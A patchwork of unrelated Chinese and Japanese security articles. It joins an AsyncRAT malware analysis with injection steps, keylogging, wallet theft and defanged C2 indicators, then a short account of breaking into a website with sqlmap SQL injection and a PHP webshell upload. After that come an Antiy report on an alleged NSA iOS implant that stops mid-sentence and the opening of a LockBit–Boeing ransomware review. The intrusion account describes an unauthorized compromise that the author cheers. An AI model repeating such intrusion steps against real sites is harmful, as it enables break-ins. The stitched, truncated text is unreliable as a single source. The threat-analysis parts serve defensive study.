Webcentral.vbs腳本使用net session命令檢查它是否以管理權限運行(第9-10行)。如果成功，它會向攻擊者標記存在管理權限（isAdmin），然後運行存儲在變量executionCommand中的命令，將其定向到批處理文件(C:\Users\Public\Webcentral.bat)。該腳本包括錯誤處理技術，使用On Error Resume Next和On Error GoTo 0語法來管理錯誤並保持腳本順利運行。

11.png

Webcentral.vbs檢查管理權限，然後執行Webcentral.bat

bat腳本啟動PowerShell執行位於C:\Users\Public\Webcentral.ps1的腳本。它使用-NoProfile，-WindowStyle Hidden和-ExecutionPolicy Bypass參數在隱藏窗口中使用繞過的執行策略運行PowerShell。

12.png

Webcentral.bat執行Webcentral.ps1

Webcentral.ps1Webcentral.ps1腳本創建一個名為Reklam的計劃任務，該任務每兩分鐘運行一次腳本（hash.vbs）。計劃任務已啟用，即使設備使用電池運行，也可以啟動。 hash.vbs腳本位於C:\Users\Public\hash.vbs目錄中，作為計劃任務的一個操作執行。該任務是使用Windows任務計劃程序服務註冊的。

13.png

Webcentral.ps1創建計劃任務並將其設置為每兩分鐘運行一次Hash.vbs

Hash.vbs與Webcentral.vbs是相同的腳本，但指向不同的文件（C:\Users\Public\Hash.bat）。

Hash.bat與Hash.vbs類似，Hash.bat是Webscentral.bat的腳本，但指向不同的文件（C:\Users\Public\Hash.ps1）。

Hash.ps1Hash.ps1解碼並加載以msg.txt和runpe.txt編碼的PE文件，觸發aspnet_compiler.exe的執行。它使用解碼後的runpe.txt中的函數將AsyncRAT有效負載(解碼後的msg.txt)注入新生成的aspnet_compiler.exe進程中。

14.png

Hash.ps1解碼並加載以msg.txt和runpe.txt編碼的PE文件

解碼後的腳本如下:

15.jpg

這是一個PowerShell腳本，動態加載.NET程序集，特別是NewPE2.PE類型，並調用其Execute方法。 Execute方法用於向進程中註入與aspnet_compiler.exe相關的代碼，它是為惡意代碼注入而設計的，允許惡意攻擊者在合法的aspnet_compiler.exe進程的上下文中執行額外的代碼。

已解碼的runpe.txt(進程注入器代碼)如下圖所示，runpe.txt文件的解碼內容顯示了Hash中使用的代碼.ps1腳本執行進程注入到aspnet_compiler.exe。

16.1.png

16.2.png

預覽在Hash中加載和使用的進程注入函數.ps1腳本

Decodedmsg.txt (AsyncRAT Payload)在例程開始時解碼的配置，需要注意的值是主機名66escobar181[.]ddns[.]net和它所連接的端口號6666。

其他功能根據嵌入式配置，AsyncRAT後門具有其他功能。這包括反調試和分析檢查、持久性安裝和鍵盤記錄。下圖中的代碼片段檢查是否在嵌入式配置embeddedConfig中啟用了鍵盤記錄。如果啟用了keylogging，它將啟動一個新線程來執行startKeylogging方法。

17.png

鍵盤記錄配置值在運行時解密並引用變量

對於我們獲得的樣本文件，僅啟用了鍵盤記錄例程，該例程捕獲並記錄受攻擊計算機的每次擊鍵，並將數據發送到攻擊者控制的服務器。

18.png

18.2.png

啟用了鍵盤記錄程序，捕獲並記錄每個擊鍵

keylogging例程以與關聯程序（getActiveApplicationName（））對應的日誌記錄鍵結束。此交互是從臨時目錄中的指定日誌文件中找到的。然後將信息記錄在%TEMP%\Log.tmp中。

代碼片段動態地從配置中選擇主機和端口。 AsyncRAT使用套接字連接與各種IP地址和端口進行交互，使其基礎設施具有動態性和適應性。它允許攻擊者頻繁更改服務器地址，使預測或阻止通信通道的工作複雜化。此外，代碼還包括錯誤處理機制，如果連接到特定IP地址或端口時出現問題，錯誤處理機制允許AsyncRAT嘗試替代連接或退回到默認配置，從而進一步強調攻擊者採用的規避策略。

19.png

AsyncRAT動態主機例程，在我們的樣本中，它通過端口6666連接到66escobar181[.]ddns[.]net

AsyncRAT有效負載在連接到服務器時收集客戶端信息。其中包括用戶名、計算機信息、安裝的防病毒軟件和安裝的加密貨幣錢包。

20.png

20.2.png

收集用戶名、計算機信息、防病毒程序和加密貨幣錢包的信息

AsyncRAT掃描應用程序目錄、瀏覽器擴展和用戶數據中的特定文件夾，以識別與特定加密錢包相關的文件夾名稱，並驗證它們在系統中的存在。

加密錢包檢查序言的代碼片段對與以下錢包字符串相關的某些目錄進行查詢:

Atomic

Binance

BinanceEdge

BitcoinCore

BitKeep

BitPay

Coinbase

Coinomi

Electrum

Exodus

F2a

LedgerLive

Meta

Phantom

RabbyWallet

Ronin

TronLink

TrustAsyncRAT攻擊的最新趨勢到2023年初，AsyncRAT攻擊仍然存在，利用包括PowerShell、Windows Script file (WSF)和VBScript (VBS)等各種文件類型來進行惡意攻擊。

分析解密後的AsyncRAT有效負載，可以明顯看出所使用的證書與AsyncRAT Server相關聯，這是AsyncRAT CC流量的一個特徵。通常，主題公共名稱被配置為“AsyncRAT服務器”或“AsyncRAT服務器CA”。

檢查主題通用名稱在識別AsyncRAT攻擊方面證明是有價值的，惡意軟件配置揭示了ID 3LOSH RAT的存在。這意味著有效負載可能使用了3LOSH加密器進行混淆和隱身，這解釋了在攻擊鏈的不同階段使用多個腳本。

在調查AsyncRAT樣本文件期間，我們發現了用於aspnet_compiler.exe的注入代碼與GitHub上的開源存儲庫之間的代碼相似之處。從客戶環境中獲得的AsyncRAT樣本和GitHub存儲庫上的版本之間出現了兩個明顯的區別。

首先，我們獲得的樣本包括BoolWallets作為掃描的加密貨幣錢包之一。其次，GitHub版本缺乏鍵盤記錄功能。然而，我們獲得的代碼顯示了鍵盤記錄功能，類似於在GitHub存儲庫中找到的另一個樣本。這些差異表明攻擊者定制了GitHub代碼以符合他們的特定目標。

探索動態DNS使用情況動態DNS允許攻擊者快速更改與域名相關的IP地址，這對試圖檢測和阻止惡意活動的安全系統提出了挑戰。我們最近的調查揭露了在No-IP和Dynu Systems, Inc名下註冊的CC域名。 66escobar181[.]ddns[.]net域解析為IP地址185[.]150[.]25[.]181。 VirusTotal分析表明，多個域被標記為惡意，都集中到同一個IP地址。

21.png

不同的域名解析到同一個IP: 185[.]150[.]25[.]181

進一步仔細檢查IP信息，我們發現了與託管提供商Zap-Hosting的關聯，該提供商以提供各種服務而聞名，例如游戲服務器、網站和虛擬專用服務器(VPS)。另一個域(httpswin10[.]kozow[.]com)也出現了類似的模式，它解析為與託管提供商關聯的IP地址。此IP地址還與其他惡意域共享，表明了攻擊者利用DDNS和託管提供商進行操作的一致策略。

總結本文介紹了AsyncRAT遠程訪問木馬，它具有諸如未經授權訪問、鍵盤記錄、遠程桌面控制和隱蔽文件操作等功能，並分析了它是如何作為各種攻擊的通用工具展開運行的，其中就包括勒索軟件。

策略性地使用多個混淆的腳本，結合'living off the land'技術，讓攻擊更加靈活，使他們能夠逃避檢測。再加上將代碼注入到合法文件(如aspnet_compiler.exe)中，這種技術大大增加了檢測這些攻擊的難度。

此外，使用動態主機服務器允許攻擊攻擊者無縫更新他們的IP地址，加強了在系統中不被發現的可能性。在許多情況下，AsyncRAT的默認目的保持不變，即竊取有價值的信息，如用戶名、密碼和加密貨幣錢包，通過鍵盤記錄捕獲的擊鍵使攻擊者能夠獲取憑據並可能訪問金融帳戶。

HireHackking

0x01はじめに

違反と防衛の訓練の情報収集中、与えられたウェブサイトと資産のウェブサイトは同じIPセグメントであることがわかったため、違法サイトの浸透がありました。

辞書およびその他のリソースファイルは、最後に取得できます

0x02 SQL脆弱性発見

サイトにアクセスしてください

i1upryxjlie11313.png

プラグインを使用して、サイトをPHPとして表示します

nozu2bds2z111315.png

通常のディレクトリスキャン

ox5nf4gtmyt11318.png

フロントデスク

t02vovjd2en11320.png

ワンクリックでログインした後、新しい住所に注入があったことがわかりました

zksec0c353j11322.png

vhh0itqfrv511324.png

0x03さらなる搾取

ここでは、パラメーターを取得する必要があると促されます。 address.phpリクエストで乱数リクエストを記入した後、情報を入力してパケットをつかんでSQLMAPを実行し続けます

ny5c3fuocpa11326.png

長い間待った後、ブールブラインドとエラー注入があることがわかりました。

r3mkmefxnsd11328.png

次に、サイトバックエンド管理アドレスを見つけます

4npflfl2mwn11330.png

注入されたアカウントパスワードを使用して背景にログインします

4hyvi02ixg311332.png

0x04ファイルをアップロード

アップロードポイントを探しています

sx3fr0opi4c11334.png

アップロード

fhukrj3tgxs11335.png

アクセスパス

wjmcxojxe1f11337.png

PHPを直接アップロードして持ち上げます

ga0c4kwxkv011339.png

これまでのところ、私はこのサイトを取り、シンプルで効率的な方法でそれを取り上げました！

HireHackking

封面图.jpg

重發按語：2023年6月1日，卡巴斯基發布報告《三角行动：iOS设备被以前未知的恶意软件攻击》 ，當時報告中僅進行了事件披露，沒有發布樣本分析。為讓全球用戶更深入了解A2PT攻擊組織的攻擊能力，安天CERT在6月9日披露了一份歷史積累分析成果，曝光了同一威脅來源方向的歷史樣本分析。與卡巴曝光的攻擊來自於針對手機iMessage服務投放不同，安天曝光的樣本來自於“量子”系統的投放，報告也因此命名為《“量子”系统击穿苹果手机》 。歷經數月的艱苦分析，卡巴於今日發布了新分析成果報告《三角行动：最后一个谜团》 。安天勘誤重發6月的報告，也提醒用戶應廣泛關注來自量子系統的空中投放。

//該報告首次發佈時《图 5‑3 量子系统可攻击场景图谱化分析》 有誤，已經勘正，特此致歉。

1 概述：覆蓋智能終端的A2PT樣本拼圖在過去二十多年的時間裡，全球關鍵信息基礎設施運營者、安全廠商、研究者所面臨的重大考驗是，如何應對以NSA等情報機構所發動的網絡攻擊活動，基於這種攻擊活動應用了難以想像的技術與資源，安天CERT將這種攻擊活動稱之為A2PT（高級的高級持續性威脅）攻擊，並發現其中多起攻擊都來自於NSA下屬的方程式組織。如何把A2PT攻擊活動中的攻擊樣本與過程揭示出來，成為了一場比馬拉松更艱苦的分析接力賽，這場接力至少已經完成了三次交接棒，第一階段從2010年的“震網”事件觸發，圍繞“震網”—“火焰”—“毒曲”—“高斯”系列樣本的攻擊活動、樣本同源性與關聯展開，直到2013年的斯諾登事件出現，才發現這些只是冰山一角；第二階段是從方程式組織（隸屬於NSA）被曝光開始，圍繞其硬盤固件攻擊能力、載荷、通信加密機制特點、“原子化”作業模式等展開，並逐漸證明“震網”等攻擊與方程式組織密切相關；第三階段則是圍繞“影子經紀人”所洩露的方程式組織的漏洞和攻擊載荷，全球業界展開更深入的拼接分析和復盤。中國網絡安全產業聯盟在4月11日所發布的報告《美国情报机构网络攻击的历史回顾——基于全球网络安全界披露信息分析》 [1]基本完整復現了這場漫長而艱難的鬥爭。

這場分析接力中兩項比較重要的工作：一項是揭示從“震網”到方程式的複雜線索關聯，這些信息可以參見卡巴斯基和安天相關的惡意代碼家族的同源性分析報告[2][3]，也可以在《震网事件的九年再复盘与思考》 [4]看到相關的惡意代碼工程的關聯圖譜。另一項則是去驗證一個邏輯上存在著必然性，但又需要大量工作來佐證的判斷——即方程式組織的作業能力和惡意代碼樣本儲備是覆蓋全操作系統平台的。毫無疑問，國際安全廠商卡巴斯基為此做出了最大的貢獻，安天CERT也有部分獨創的工作，例如Linux、Solaris樣本的最早曝光是來自安天的報告。安天CERT在2016年的報告《从方程式到“方程组”——EQUATION攻击组织高级恶意代码的全平台能力解析》 [5]中，匯聚了安天和卡巴斯基等的成果，統計了Windows、Linux、Solaris、FreeBSD和Mac OS平台的樣本情況。但彼時方程式組織針對iOS 、Android等移動平台的樣本還沒有正式浮出水面，儘管在2013年斯諾登事件中所曝光的NSA ANT系列攻擊裝備中DROPOUTJEEP、TOTEGHOSTLY等代號給出了一些線索，但由於iOS平台取證的難度，和其攻擊作業的高度定向性，業內一直沒有樣本級別的發現和實證——但這並不意味著，它們會永遠沉寂於水面之下，持續的努力讓我們能夠在後續找到線索並進行了分析積累。

2023年6月1日，卡巴斯基[6]發布了《三角行动：iOS设备被以前未知的恶意软件攻击》 ，這讓我們決定對我們原有分析成果進行補充分析，並正式發布。由於卡巴斯基尚未公開有關事件樣本信息和分析結果，我們尚無法判定我們分析的這些歷史樣本是否是“三角行動”攻擊樣本的早期版本。但我們明確的判斷是：我們所分析的樣本，和卡巴斯基所曝光的攻擊同樣來自方程式組織。但與卡巴斯基所發現的樣本是依托iMessage的漏洞投放不同的是，本報告的相關攻擊樣本來自方程式組織基於“量子”（QUANTUM）系統在網絡側針對上網終端瀏覽器漏洞利用投放。

2 樣本分析相關樣本並不是常規的iOS APP應用安裝包，而是針對iOS底層的木馬，木馬分為執行載荷與後門程序，執行載荷是最初投放到系統的，它負責釋放後門程序和持久化。

2.1 執行載荷表2‑1木馬主體程序

原始文件名

regquerystr.exe

文件大小

307kb

文件格式

Mach-O executable

木馬主體程序在投遞過程中偽裝的文件名是regquerystr.exe，但並非是一個PE格式文件，實際文件格式是ARM架構的Mach-O 可執行程序，利用漏洞或通過沙盒逃逸完成後門程序的釋放和執行，其首先檢測內核版本和用戶權限。

2-1.jpg

圖2‑1 對內核版本信息和當前的用戶權限進行獲取和判斷

然後木馬程序進行後門程序的釋放，將其釋放到/tmp/mvld，並執行/bin/launchctl的load命令完成後門服務的運行。

2-2.jpg

圖2‑2 運行後門服務

2-3.jpg

圖2‑3 正在運行的後門服務

木馬主體採用了兩種不同的加密算法來加密其明文字符串信息。

算法1：

2-4.jpg

圖2‑4 字符串加密算法1

算法2：

2-5.jpg

圖2‑5 字符串加密算法2

其使用的加密方法比較簡單，配置數據只運用了異或和乘法運算，其使用的密鑰有0x47[7]和0x1D，網絡通訊部分則使用了標準的HTTPS加密協議。這種簡單的加密與方程式組織在PC平台樣本嚴格使用高強度加密算法並不一致，關於PC樣本加密算法和密鑰可以參見安天分析報告《方程式（EQUATION）部分组件中的加密技巧分析》 [8]，但相對來看，可能是彼時的手機環境算力相對較低，同時沒有較為成熟的安全對抗機制，因此攻擊者並未使用強加密。

2-6.jpg

圖2‑6 解密後的關鍵字符串信息

表2‑2 Regquerystr木馬解密出的配置信息

配置名稱

內容

說明

binary

Gzip文件

壓縮後的第二階段載荷

binary_filename

/usr/sbin/mvld

第二階段載荷釋放名稱

init_script_filename

com.apple.mvld.plist

mimic_bin_file

notifyd

mimic_init_file

com.apple.locationd.plist

2.2 後門程序在投放載荷執行後，會釋放一個後門程序mvld。該木馬是Regquerystr釋放的子程序，主要用於收集設備信息，以及與遠程服務器通信，程序運行後會生成日誌文件/private/var/tmp/.swapfile.tmp，並刪除自身文件(/tmp/mvld)，經分析，可將該木馬合併入方程式組織的DoubleFantasy[9]攻擊木馬武器譜系。

表2‑3 後門程序信息

原始文件名

Mvld

文件大小

117kb

文件格式

Mach-O executable

mvld後門程序路徑如下：

2-7.jpg

圖2‑7 後門程序路徑

mvld後門程序會訪問遠程控制服務器發送http請求，當C2域名無法訪問時直接訪問硬編碼IP：

2-8.jpg

圖2‑8 向遠程服務器發送請求

mvld後門程序配置了代理設置，採用neno客戶端http協議。

2-9.jpg

圖2‑9 代理設置

mvld後門程序通過getuid、getpwuid可以獲取設備帳號的用戶名、密碼、用戶組等信息。

2-10.jpg

圖2‑10 獲取設備信息

mvld後門程序同時也會讀取/etc/passwd文件，獲取登陸用戶信息。

2-11.jpg

圖2‑11 獲取登錄用戶信息

修改環境變量DYLD_INSERT_LIBRARIES：

2-12.jpg

圖2‑12 修改環境變量DYLD_INSERT_LIBRARIES內容

該樣本有13個指令代碼，功能與安天歷史曝光過的方程式Windows和Solaris木馬DoubleFantasy系列指令十分相似。

2-13.jpg

圖2‑13 指令代碼

樣本各個指令功能簡要描述如下：

表2‑3指令代碼及對應功能

16進制指令代碼

指令功能

0x42

流量包校驗

0x4B

讀取文件上傳

0x60

收集大量信息回傳（具體表2-4）

0x70

更新C2地址

0x75

修改心跳包間隔

0x76

更新配置文件

0x78

更新配置文件

0x79

更新配置文件

0x80

刪除文件

0x92

接收文件執行

0x94

更新配置文件

0x95

執行程序

0xA2

更新配置文件

樣本獲取配置環境等信息後進行回傳：

2-14.jpg

圖2‑14 獲取環境和配置信息回傳

獲取信息格式說明：

表2‑4獲取環境和配置信息格式說明

標號

說明

標號

說明

標號

說明

000

MAC地址

033

未知

042

未知

001

未知

034

未知

043

語言

002

IP地址

035

操作系統類型

044

未知

003

未知

036

未知

045

系統運行時間

004

代理設置信息

037

未知

046

未知

005

未知

038

時區

047

未知

030

使用者名稱

039

未知

048

樣本執行路徑

031

密碼

040

localtime

049

系統版本號

032

操作系統類型（iOS）

041

Time

mvld木馬內部解密出信息FAID，其中ace02468bdf13579[10]與之前曝光的NSA作業所需強制性的唯一標識代碼一致，該標識也存在於“影子經紀人”洩露的方程式武器庫中SecondDate武器中，種種信息都指向：該木馬來自美方情報機構NSA下屬的方程式組織。

表2‑5 mvld解密出的配置信息

配置名稱

內容

說明

CI

3600

心跳

CIAE

120

cop1

80

C2端口1

cop2

443

C2端口2

CSF

/private/var/tmp/.swapfile.tmp

FAID

***_ace02468bdf13579_***

ID

*****00171

lp1

**********[.]com

C2地址1

lp2

80[.]*[.]*[.]*

C2地址2

os1

www.google.com

測試網絡聯通

os2

www.yahoo.com

測試網絡聯通

os3

www.wikipedia.org

測試網絡聯通

os4

www.apple.com

測試網絡聯通

PV

12

SDE

/usr/gated/gated.deb

3 同源分析我們將該iOS木馬與方程式組織的DoubleFantasy木馬裝備序列進行對比分析，可以得出如下結果：在功能、行為、算法、信息收集和指令控制集合上幾乎相同；木馬使用方程式組織加密算法中最常使用的數值0x47[7]、收集終端信息格式與DoubleFantasy一致，控制指令代碼結構與DoubleFantasy基本一致。

3.1 配置數據解密算法、密鑰對比本報告樣本與其他方程式組織樣本在加密算法、密鑰上完全一致：

3-1.jpg

圖3‑1歷史其他平台方程式樣本（左）解密算法與iOS樣本（右）解密算法

3.2信息收集格式對比對比發現本報告樣本與其他方程式樣本在信息收集的數據格式基本一致：

3-2.jpg

圖3‑2歷史其他平台方程式樣本（左）信息收集與iOS樣本（右）信息收集對比

3.3控制指令代碼對比本報告樣本與其他方程式樣本在控制指令格式上基本一致：

3-3.jpg

圖3‑3歷史其他平台方程式樣本（左）指令代碼與iOS樣本（右）指令代碼對比

4 攻擊投放分析通常認為iOS平台的安全強度比Android平台更高，但iOS平臺本身依然有很多可攻擊入口。針對iOS平台曾出現過的攻擊方式包括，基於App Store投毒、基於iMessage和FaceTime的漏洞、基於Wi-Fi在流量側的攻擊等。卡巴斯基所發布的報告，聲明其所捕獲的攻擊入口為iMessage服務。 iMessage漏洞確實是一個常用的攻擊入口，加之其本身帶有電信碼號的指向性，適合發起指向明確目標的攻擊。但同時我們也要指出的是，關閉iMessage和Facetime等服務，依然不能有效對抗方程式組織的攻擊，這是因為：方程式組織所擁有專屬的“上帝視角”攻擊模式，是依托入侵和劫持各國運營商網絡設備、和其他的信道介入能力構建流量劫持體系，在擬攻擊目標人員上網過程中，基於“量子”（QUANTUM）系統插入攻擊流量，利用瀏覽器等上網軟件的漏洞，實現將惡意代碼投放到設備當中運行。

“量子”（QUANTUM）系統項目於2013年首次被斯諾登曝光，由美國國家安全局（NSA）發起，並與英國政府通信總部（GCHQ）和瑞典國防無線局（FRA）聯合執行，用於開發和運營承載實施網絡攻擊的工程體系和入侵工具集，以實現對網絡空間中網絡狀態的干預和控制，由NSA下屬的特別行動入侵行動辦公室（TAO）開發並負責使用。而我們所說的方程式組織則是網絡安全產業界基於分析工作中發現的裝備特點對TAO所賦予的“別名”。

“量子”（QUANTUM）系統的運行支點，是對網絡通訊基礎設施的關鍵路由和網關等設備的入侵和劫持，從而具備獲取分析和劫持攻擊目標上網過程的能力。其首先基於上網設備的相關IP、碼號、鏈路、身份賬號或其他標識依托X-KeyScore系統進行識別，看是是否複合攻擊目標定義，以及是否是已經攻擊成功設備，如果是尚未實施攻擊過攻擊的待攻擊目標，則進一步判斷是否存在可用漏洞，然後選用相應的工具執行秘密入侵。

我們以假定目標登錄雅虎賬戶為例，攻擊過程如下：

1、目標登錄Yahoo郵箱或網站；

2、特殊行動源（SSO: Special Source Operations）站點發現“量子”（QUANTUM）系統指定的雅虎分揀器篩選的數據包，會將其重定向到FOXACID服務器；

3、該服務器將FOXACID URL注入到選定的數據包並將其發回至目標計算機；

4、雅虎服務器接收到請求郵件內容的數據包；

5、FOXACID數據包先於雅虎數據包回到終端；

6、目標機器加載雅虎頁面，但在後台同時加載FOXACID URL，將目標重定向到FOXACID刺探服務器；

7、如果目標瀏覽器可用，且PSP（Personnel Security Program）未能檢測，則FOXACID將第一階段植入程序部署到目標；

8、“驗證器”後門（美方稱之為Validator，安全廠商命名為DoubleFantasy的木馬）成功安裝。

4-1.jpg

圖4‑1 NSA“量子”（QUANTUM）系統攻擊原理

在針對iOS平台的攻擊中，“量子”系統通過多個Safari瀏覽器的遠程代碼執行漏洞組合利用投放攻擊樣本。其中最早的攻擊行為在2013年或更早的時間就出現。其早期運用的漏洞可能包括CVE-2014-1349、CVE-2014-4466等，漏洞利用代碼則由“狐酸”FOXACID漏洞平台生成，“量子”系統所構造的流量可以實現先於正常網站返回流量抵達目標終端，觸發漏洞執行該木馬程序。在利用本報告樣本的攻擊過程中，攻擊載荷在量子系統在插入的網絡流量中偽裝成GIF頭部，命名為regquerystr.exe。

需要高度警惕的是，“量子”系統的攻擊是上帝視角的，具體表現為：

1. 其攻擊流量是由被入侵或控制的網絡路由設備發出，其甚至可能先於被訪問的網站感知到被攻擊方的網絡訪問。

2. 其攻擊對像是訪問網站和網絡資源的瀏覽器，或其他互聯網客戶端，因此其更難防禦，也無法用傳統收斂開放端口和暴露面的思路來防範。

3. 其插入的攻擊流量並不是和真實網站交互過程，且是加密的，因此即使數據包遭到了還原和留存，發現了其構造的域名，也不具備傳統IP/域名意義的溯源價值。

4. 在攻擊得手後，其相關角色和設備被標定為攻擊有效，後續不會再進行投放的動作，而攻擊失手後，則可能不再繼續攻擊，或未來不會採用同一漏洞進行攻擊。因此極難復現和驗證。

5. “量子”的能力並不僅可以部署於骨幹網被A2PT組織滲透或控制的網絡設備之中，也可以在入侵作業中，植入到政企機構網關和邊界設備上，包括相關漏洞利用工具可以部署到類似企業WEBMail 服務器中，使之有別於一般的持久化，而採取反复打入+內存木馬的方式，更好地對抗一般性的威脅獵殺。

“量子”的作業能力一方面來自於方程式組織對全球關鍵網絡通訊設備的攻擊控製程度，另一方面則來自其掌控的大量未公開漏洞資源和漏洞利用工具儲備。

5 A2PT組織的漏洞儲備、來源及資源運營和作業分析5.1 整體漏洞運營機制無論是攻擊中東SWIFT對信息基礎設施長驅直入[11]，還是“量子”之手實現上帝視角的攻擊，方程式等A2PT作業組織都依賴極為豐富的漏洞儲備[12][13]。

美方對零日漏洞（0day）的管理和儲備有一套自身的管理機制。 2017年美國白宮發布《漏洞公平裁决政策和程序》 [14]，為漏洞公平裁決程序(Vulnerabilities Equities Process，VEP)制定了更多的規則和透明度要求，包括目的、背景、範圍、參與主體、裁決過程和相關附件等內容，這個政策的主導機構就是NSA。 VEP是美國政府在處理安全漏洞問題時所引入的一項裁決機制，當發現漏洞時，是選擇將發現的漏洞向有關科技公司披露，告知其產品或服務中存在的網絡安全漏洞以便開發者及時進行修復，還是選擇將漏洞信息進行保留，以便今後用於網絡入

HireHackking

封面图.jpg

1 前言2016年前後，勒索攻擊的主流威脅形態已經從勒索團伙傳播擴散或廣泛投放勒索軟件收取贖金，逐漸轉化為RaaS+定向攻擊收取高額贖金的運行模式。 RaaS為Ransomware as a Service（勒索即服務）的縮寫，是勒索團伙研發運營的勒索攻擊基礎設施，包括可定制的破壞性勒索軟件、竊密組件、勒索話術和收費通道等。各種攻擊團伙和個人租用RaaS攻擊基礎設施，在獲得贖金後，與RaaS攻擊組織分賬結算。在眾多勒索攻擊組織中，LockBit組織最為活躍，從其公佈的數據顯示，LockBit的RaaS支撐了上千起的攻擊活動，並因一例涉及中資企業海外機構案例被國內外廣泛關注。

為有效應對RaaS+定向勒索風險，防御者需要更深入地了解定向勒索攻擊的運行機理，才能構建有效的敵情想定，針對性的改善防禦和響應能力。因此，擇取典型案例，對此類攻擊進行深度复盤極為重要。但由於相關涉我案例的分析支撐要素並不成熟，安天CERT在其他近期重大攻擊案例中進行了篩選，選擇了同樣與LockBit組織相關，且可參考信息相對豐富的波音公司遭遇定向勒索攻擊事件（以下簡稱本事件）展開了完整復盤分析。安天CERT長期關注和分析勒索攻擊，對LockBit等攻擊組織的持續關注，形成了較為系統的分析積累，依托安天賽博超腦平台的情報數據，CISA等機構對本事件公佈的相關公開信息展開工作。從攻擊過程還原、攻擊工具清單梳理、勒索樣本機理、攻擊致效後的多方反應、損失評估、過程可視化复盤等方面開展了分析工作，並針對事件中暴露的防禦側問題、RaaS+定向勒索的模式進行了解析，並提出了防禦和治理方面的建議。

2 事件背景和報告形成的過程2023年10月下旬，波音公司成為了RaaS+定向勒索攻擊的受害者[1]。由於LockBit是通過RaaS模式運營的攻擊組織，本次攻擊事件的實際攻擊者暫時無法確認。 2023年10月27日，LockBit所屬的受害者信息發布平台發消息聲稱竊取了波音的大量敏感數據，並以此脅迫波音公司，如果不在2023年11月2日前與LockBit組織取得聯繫，將會公開竊取到的敏感數據。此後，波音一度從受害者名單中消失，直至11月7日，LockBit組織再次將波音公司列入受害者名單中，並聲稱波音公司無視其發出的警告，威脅要發布大約4GiB的數據。可能因雙方談判失敗，LockBit組織於11月10日公開發布了從波音公司竊取到的21.6 GiB數據（媒體報導為43 GiB，系重複計算了壓縮包和展開後的數據）。

安天長期持續跟踪和響應了從勒索軟件傳播到定向勒索攻擊的活動演進。在歷史分析成果中，對“勒索軟件和蠕蟲的合流”、“定向勒索將接近APT攻擊水準”等，都發出了風險預警（參見附錄四）。針對LockBit的本次攻擊波，安天於11月17日以《LockBit 勒索软件样本分析及针对定向勒索的防御思考》 [2]為題，發布了本報告的V1.0版。由於當時缺少相對豐富的信息，在技術層面僅展開了樣本分析工作，並未進行攻擊過程复盤。波音公司被勒索攻擊之後，美國網絡安全和基礎設施安全局（CISA）對事件進行了取證調查，並於2023年11月21日發布了相關報告[3]，相關報告給出了高質量的形式化情報，為分析复盤攻擊事件提供了極為重要的參考，我們結合歷史工作積累其他開源情報和對本報告進行完善。

3 LockBit攻擊組織的歷史情況和部分歷史攻擊事件3.1 組織基本情況LockBit組織最早於2019年9月被發現，因其加密後的文件名後綴為.abcd，而被稱為ABCD勒索軟件；該組織在2021年6月發布了勒索軟件2.0版本，增加了刪除磁盤捲影和日誌文件的功能，同時發布專屬數據竊取工具StealBit，採用“威脅曝光（出售）企業數據+加密數據”雙重勒索策略；2021年8月，該組織的攻擊基礎設施頻譜增加了對DDoS攻擊的支持；2022年6月勒索軟件更新至3.0版本，由於3.0版本的部分代碼與BlackMatter勒索軟件代碼重疊，因此LockBit 3.0又被稱為LockBit Black，這反映出不同勒索攻擊組織間可能存在的人員流動、能力交換等情況。使用LockBit RaaS實施攻擊的相關組織進行了大量攻擊作業，通過第三方獲取訪問憑證、漏洞武器化和搭載其他惡意軟件等方式入侵至受害者係統後投放勒索軟件，大量受害者遭受勒索和數據洩露。

LockBit攻擊組織在2022年實施的多次勒索攻擊活動及影響突顯了其為該年度全球最活躍的勒索攻擊組織，甚至主動採取了傳播和PR活動。該組織面向Windows、Linux、macOS、以及VMware虛擬化平台等多種主機系統和目標平台研發勒索軟件，其生成器通過簡單交互即可完成勒索軟件定制。 LockBit勒索軟件僅對被加密文件頭部的前4K數據進行加密，因此加密速度明顯快於全文件加密的其他勒索軟件，由於在原文件對應扇區覆蓋寫入，受害者無法通過數據恢復的方式來還原未加密前的明文數據。

表3‑1 LockBit攻擊組織基本情況

表1.png

LockBit勒索組織的RaaS服務成為攻擊者實施網絡勒索行為的犯罪工具。這些攻擊者通過利用多種手段，其中包括第三方獲取訪問憑證、漏洞武器化，以及搭載其他惡意軟件等方式，成功實現對受害系統的初始訪問。一旦入侵成功，攻擊者的下一步行動通常涉及竊取數據文件，並隨後投放LockBit勒索軟件，將目標系統的數據文件進行加密，繼而實施勒索。

3.2 歷史勒索攻擊情況LockBit勒索組織的規模龐大，擁有眾多附屬成員。其Tor網站幾乎每天都在更新，新增來自世界各地的受害者信息。這個組織採用了一種雙重勒索策略，即“威脅曝光企業數據+加密數據勒索”，進一步加劇了攻擊的危害程度。在Tor網站上，LockBit組織已經發布了超過2200條受害企業信息，僅在2023年，已經發布了1000餘條受害企業信息。這僅僅是公開信息，而實際受害企業數量可能遠超過這個數字。值得關注的是，攻擊者與受害企業有時會選擇通過私下談判的方式解決問題，而不在Tor上公開受害企業信息。這意味著實際受害企業數量可能遠遠超過已公開的信息，這加劇了LockBit組織對企業和機構的網絡安全威脅。

表3‑2 遭遇LockBit勒索攻擊的典型事件清單

時間

受害單位

影響

2021年8月

愛爾蘭IT諮詢公司埃森哲

竊取約6 TiB數據，要求支付5000萬美元贖金

2022年1月

法國泰雷茲集團

部分數據被公開；同年11月再次遭受勒索攻擊，公開竊取的約9.5 GiB數據

2022年2月

普利司通美洲分公司

公司暫停部分工作運營，受害系統數據被竊

2022年6月

美國數字安全公司Entrust

部分數據被竊取

2022年7月

法國電信運營商La Poste Mobile

導致部分系統關停，官方網站關停10余天，部分用戶信息被公開

2022年10月

巴西利亞銀行

部分數據被竊取，要求支付50 BTC贖金

2022年11月

德國大陸集團

竊取約40 GiB數據，要求支付5000萬美元贖金

2022年12月

美國加州財政部

竊取約76 GiB數據

2023年1月

英國皇家郵政

國際出口服務中斷，約45 GiB數據被竊取，要求支付8000萬美元贖金

2023年6月

台積電供應商擎昊科技

部分數據被竊取，要求支付7000萬美元贖金

2023年8月

加拿大蒙特利爾市電力服務委員會

竊取約44 GiB數據

2023年10月

美國波音公司

竊取約21.6 GiB數據

4 事件過程完整復盤分析為了讓防御者更深入了解定向勒索攻擊的運行機理，有針對性的改善防禦和響應能力，安天CERT以對LockBit攻擊組織的歷史分析成果為基礎，參考CISA取證報告等開源情報，綜合運用多種分析方法和手段，對LockBit組織針對波音公司的勒索攻擊進行了复盤，分析了勒索樣本，梳理了攻擊工具清單，對攻擊致效後的情況和損失進行了分析，並對攻擊殺傷鏈與技戰術圖譜進行了分析。

